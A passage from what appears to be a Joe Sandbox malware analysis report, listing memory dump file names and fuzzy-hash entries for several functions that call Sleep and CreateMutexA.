Associated: 00000000.00000002.1459038850.0000000000ABE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459055488.0000000000AC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459072461.0000000000ADE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459086887.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459101565.0000000000AEB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459116097.0000000000AF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459131565.0000000000AF6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459144829.0000000000AF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459158858.0000000000AF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459171112.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459184882.0000000000B05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459199433.0000000000B0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459214292.0000000000B11000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459227978.0000000000B13000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459240014.0000000000B14000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459252716.0000000000B16000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459264586.0000000000B17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459278527.0000000000B1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459291171.0000000000B23000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459305143.0000000000B25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459320428.0000000000B32000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459333285.0000000000B33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459345440.0000000000B34000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459359173.0000000000B35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459379108.0000000000B42000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459393452.0000000000B44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459405663.0000000000B45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459417847.0000000000B46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459417847.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459460215.0000000000B91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459485889.0000000000B92000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459501980.0000000000B97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459515010.0000000000B99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459532625.0000000000BA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459545214.0000000000BA8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_890000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 4632302e7feec1b2cbb197313af5c57890d2b2ef117726d9d4904348292dbe58
Instruction ID: d881e6aca20f3be77082e7bf5841a8e0a7e08f82fc7dc0daada5a11ec855fa2b
Opcode Fuzzy Hash: 4632302e7feec1b2cbb197313af5c57890d2b2ef117726d9d4904348292dbe58
Instruction Fuzzy Hash: 383105716002449BEF0CAB7CDD89B6DBB62FB82324F288618E025D77D5D77699808692

Function 0089A1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0089A963
CreateMutexA.KERNEL32(00000000,00000000,008F3254), ref: 0089A981

Memory Dump Source

Source File: 00000000.00000002.1457682859.0000000000891000.00000040.00000001.01000000.00000003.sdmp, Offset: 00890000, based on PE: true

Associated: 00000000.00000002.1457671208.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457682859.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457732745.00000000008F9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457774864.00000000008FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457790768.0000000000905000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457802488.0000000000906000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457813801.0000000000907000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458357790.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458376642.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458392856.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458420879.0000000000A77000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458465446.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458465446.0000000000A81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458626713.0000000000A85000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458645187.0000000000A86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458657521.0000000000A88000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458929915.0000000000A8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458945923.0000000000A8B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458960976.0000000000A8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458977774.0000000000A9D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458989840.0000000000A9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459005401.0000000000AB3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459024005.0000000000AB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459038850.0000000000ABE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459055488.0000000000AC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459072461.0000000000ADE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459086887.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459101565.0000000000AEB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459116097.0000000000AF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459131565.0000000000AF6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459144829.0000000000AF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459158858.0000000000AF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459171112.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459184882.0000000000B05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459199433.0000000000B0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459214292.0000000000B11000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459227978.0000000000B13000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459240014.0000000000B14000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459252716.0000000000B16000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459264586.0000000000B17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459278527.0000000000B1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459291171.0000000000B23000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459305143.0000000000B25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459320428.0000000000B32000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459333285.0000000000B33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459345440.0000000000B34000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459359173.0000000000B35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459379108.0000000000B42000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459393452.0000000000B44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459405663.0000000000B45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459417847.0000000000B46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459417847.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459460215.0000000000B91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459485889.0000000000B92000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459501980.0000000000B97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459515010.0000000000B99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459532625.0000000000BA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459545214.0000000000BA8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_890000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: c20dcefd6b9fee58e54e0b94c550b422909e1d87853a4eaabe4a7c84e9c8eea0
Instruction ID: 9f21b75ad70862a4e021f24c220dd03bc988a320acca623b4a5fe7e954868804
Opcode Fuzzy Hash: c20dcefd6b9fee58e54e0b94c550b422909e1d87853a4eaabe4a7c84e9c8eea0
Instruction Fuzzy Hash: AB3128316002449BFF0CABBCDC89B6DBB62FBC6320F284618E015D76D1D77599808792

Function 0089A418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0089A963
CreateMutexA.KERNEL32(00000000,00000000,008F3254), ref: 0089A981

Memory Dump Source

Source File: 00000000.00000002.1457682859.0000000000891000.00000040.00000001.01000000.00000003.sdmp, Offset: 00890000, based on PE: true

Associated: 00000000.00000002.1457671208.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457682859.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457732745.00000000008F9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457774864.00000000008FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457790768.0000000000905000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457802488.0000000000906000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457813801.0000000000907000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458357790.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458376642.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458392856.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458420879.0000000000A77000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458465446.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458465446.0000000000A81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458626713.0000000000A85000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458645187.0000000000A86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458657521.0000000000A88000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458929915.0000000000A8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458945923.0000000000A8B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458960976.0000000000A8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458977774.0000000000A9D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458989840.0000000000A9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459005401.0000000000AB3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459024005.0000000000AB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459038850.0000000000ABE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459055488.0000000000AC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459072461.0000000000ADE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459086887.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459101565.0000000000AEB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459116097.0000000000AF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459131565.0000000000AF6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459144829.0000000000AF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459158858.0000000000AF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459171112.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459184882.0000000000B05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459199433.0000000000B0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459214292.0000000000B11000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459227978.0000000000B13000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459240014.0000000000B14000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459252716.0000000000B16000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459264586.0000000000B17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459278527.0000000000B1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459291171.0000000000B23000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459305143.0000000000B25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459320428.0000000000B32000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459333285.0000000000B33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459345440.0000000000B34000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459359173.0000000000B35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459379108.0000000000B42000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459393452.0000000000B44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459405663.0000000000B45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459417847.0000000000B46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459417847.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459460215.0000000000B91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459485889.0000000000B92000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459501980.0000000000B97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459515010.0000000000B99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459532625.0000000000BA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459545214.0000000000BA8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_890000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 4bf172eaa0701beeac8b94faec8b75ffc279b989a1180fa3123d5eb794cf1b72
Instruction ID: 9acbd73e7f2d0bc61ed52535c378028c61f0174b82bfe7409891f0043bae8935
Opcode Fuzzy Hash: 4bf172eaa0701beeac8b94faec8b75ffc279b989a1180fa3123d5eb794cf1b72
Instruction Fuzzy Hash: 603127316402449BEF0CAB7CDDC9B6DBA62FBC2324F284218E025DB6D5DB7599808697

Function 0089A54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0089A963
CreateMutexA.KERNEL32(00000000,00000000,008F3254), ref: 0089A981

Memory Dump Source

Source File: 00000000.00000002.1457682859.0000000000891000.00000040.00000001.01000000.00000003.sdmp, Offset: 00890000, based on PE: true

Associated: 00000000.00000002.1457671208.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457682859.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457732745.00000000008F9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457774864.00000000008FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457790768.0000000000905000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457802488.0000000000906000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457813801.0000000000907000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458357790.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458376642.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458392856.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458420879.0000000000A77000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458465446.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458465446.0000000000A81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458626713.0000000000A85000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458645187.0000000000A86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458657521.0000000000A88000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458929915.0000000000A8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458945923.0000000000A8B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458960976.0000000000A8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458977774.0000000000A9D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458989840.0000000000A9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459005401.0000000000AB3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459024005.0000000000AB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459038850.0000000000ABE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459055488.0000000000AC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459072461.0000000000ADE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459086887.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459101565.0000000000AEB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459116097.0000000000AF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459131565.0000000000AF6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459144829.0000000000AF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459158858.0000000000AF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459171112.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459184882.0000000000B05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459199433.0000000000B0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459214292.0000000000B11000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459227978.0000000000B13000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459240014.0000000000B14000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459252716.0000000000B16000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459264586.0000000000B17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459278527.0000000000B1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459291171.0000000000B23000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459305143.0000000000B25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459320428.0000000000B32000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459333285.0000000000B33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459345440.0000000000B34000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459359173.0000000000B35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459379108.0000000000B42000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459393452.0000000000B44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459405663.0000000000B45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459417847.0000000000B46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459417847.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459460215.0000000000B91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459485889.0000000000B92000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459501980.0000000000B97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459515010.0000000000B99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459532625.0000000000BA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459545214.0000000000BA8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_890000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 9f5a2f7fd0108dde515855b60bfc8ba6c898650863c2a4aa220a03faec813989
Instruction ID: b7706bdfc153819c0fa3b6c3ec0c9f2111bcd8f862a3f9e4426f469b3174dc70
Opcode Fuzzy Hash: 9f5a2f7fd0108dde515855b60bfc8ba6c898650863c2a4aa220a03faec813989
Instruction Fuzzy Hash: CE3115717002048BEF0CABBCDC89B6DBB62FBC5324F288618E015DB6D1D735D9808692

Function 0089A682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0089A963
CreateMutexA.KERNEL32(00000000,00000000,008F3254), ref: 0089A981

Memory Dump Source

Source File: 00000000.00000002.1457682859.0000000000891000.00000040.00000001.01000000.00000003.sdmp, Offset: 00890000, based on PE: true

Associated: 00000000.00000002.1457671208.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457682859.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457732745.00000000008F9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457774864.00000000008FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457790768.0000000000905000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457802488.0000000000906000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457813801.0000000000907000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458357790.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458376642.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458392856.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458420879.0000000000A77000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458465446.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458465446.0000000000A81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458626713.0000000000A85000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458645187.0000000000A86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458657521.0000000000A88000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458929915.0000000000A8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458945923.0000000000A8B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458960976.0000000000A8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458977774.0000000000A9D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458989840.0000000000A9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459005401.0000000000AB3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459024005.0000000000AB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459038850.0000000000ABE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459055488.0000000000AC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459072461.0000000000ADE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459086887.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459101565.0000000000AEB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459116097.0000000000AF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459131565.0000000000AF6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459144829.0000000000AF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459158858.0000000000AF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459171112.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459184882.0000000000B05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459199433.0000000000B0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459214292.0000000000B11000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459227978.0000000000B13000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459240014.0000000000B14000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459252716.0000000000B16000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459264586.0000000000B17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459278527.0000000000B1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459291171.0000000000B23000.00000080.00000001.01000000.00000003.sdmpDownload File
